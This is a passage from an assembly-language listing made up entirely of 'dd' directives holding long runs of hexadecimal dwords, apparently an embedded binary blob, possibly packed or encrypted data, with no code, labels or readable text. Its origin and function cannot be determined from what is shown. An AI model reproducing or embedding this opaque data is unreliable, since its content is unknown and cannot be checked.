0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h dd 0C584B883h, 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h dd 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h dd 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h, 2A7829h dd 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h dd 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh dd 4C4000Ch, 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h dd 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h dd 34E6EB02h, 4FE255Fh, 1B1CC7FAh, 88508043h, 62070414h dd 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h dd 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h dd 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh dd 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh dd 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h dd 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h dd 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh, 40401E9Ch dd 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h, 483C0533h dd 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh dd 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh, 13FA2C16h dd 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h, 0D0009816h dd 381272h, 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h dd 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h dd 62410068h, 0C131A990h dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h, 5A73E1B0h dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h dd 0F0FE5Eh, 8A367403h, 750A3A08h, 54306700h, 1489313h dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h, 0ABF33B09h dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h, 0AD41F6h dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh, 0FD58C061h dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h, 1C048D0Fh dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h dd 3007261h, 5420A2CAh, 0EA0B7643h, 1F110010h, 4CD07705h dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh, 0FAFFB150h dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh, 50C741Ah dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h, 0B847604Fh dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h dd 378323Fh, 5511E04Dh, 2DA06168h, 3000FF64h, 1B2089CCh dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h, 0AC8B8954h dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h, 0EFBC20Bh dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh dd 3EA6734Ch, 6BE00F6h, 0C827B2Ch, 207F3834h, 75493700h dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh dd 290B0358h, 35CF0C8h, 96F7FC47h, 44C0B891h, 1126D480h dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch dd 6A546200h, 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h dd 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h dd 4586EC8h, 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h dd 189093Eh, 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h dd 3F1FFC5h, 3854491Ch, 86E97282h, 92836048h, 0C0070020h dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h dd 1E2A40C8h dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h dd 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h, 1817438Fh dd 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h, 4BFA4419h dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah, 94ED2677h dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h, 0F0004B12h dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h, 3B121400h dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h, 4AEC7F00h dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h dd 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh, 1508A4F8h dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h, 417E1D05h dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h dd 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h, 18247444h dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh dd 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h, 80B4ED9Ah dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h, 32BBB684h dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh dd 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h, 75231200h dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h, 0F212163Eh dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h, 192E1F37h dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh, 75482Dh dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h, 508C00EBh dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h, 8B8400E3h dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h dd 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h, 96BCC700h dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h, 0C70441h dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh, 798B000Eh dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h, 0AF3D07D0h dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h, 3FC5Fh dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah, 3900F145h dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh, 0C05857DCh dd 277007Ch, 5213C201h, 0B4EA00C1h, 1FE40E4Fh, 4A145888h dd 2C954E89h, 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh dd 2C2250E0h, 41813800h, 34761702h, 0E3A1E18h, 0E3678410h dd 0CA7DC0B8h, 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h dd 151307D6h, 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h dd 0B078C442h, 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h dd 0FA34A86h, 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h dd 80CC1EE7h, 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h dd 27C754Ah, 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh dd 6394C9h, 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h dd 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh dd 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh dd 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h dd 4087A900h, 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah dd 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h dd 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h dd 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h dd 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah dd 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh dd 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h dd 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h dd 0DA8906h, 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h dd 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h dd 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h dd 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h dd 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h dd 50009A20h, 32125B3Bh dd 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h, 897C620Eh dd 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h, 0EC7F4F14h dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h, 5893598Eh dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h dd 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h, 54008BD5h dd 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h, 241D2D0Fh dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h, 5DFD6D0h dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh, 5749A8D0h dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h, 73E02A56h dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h, 458D12D8h dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh, 0E43E4A98h dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h, 62CD005Ah dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh, 2FC0C08h dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h, 72EE3D6h dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h dd 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h, 8BDE9C53h dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch, 3203E259h dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h, 0EF9C13C0h dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h, 5B3936E2h dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h, 3B74A607h dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h, 6602EBEDh dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh dd 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h, 0EEE7F432h dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh, 0A43400F4h dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh, 6633D7h dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h dd 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh dd 87DC91h, 10F801C5h, 1E3974B1h, 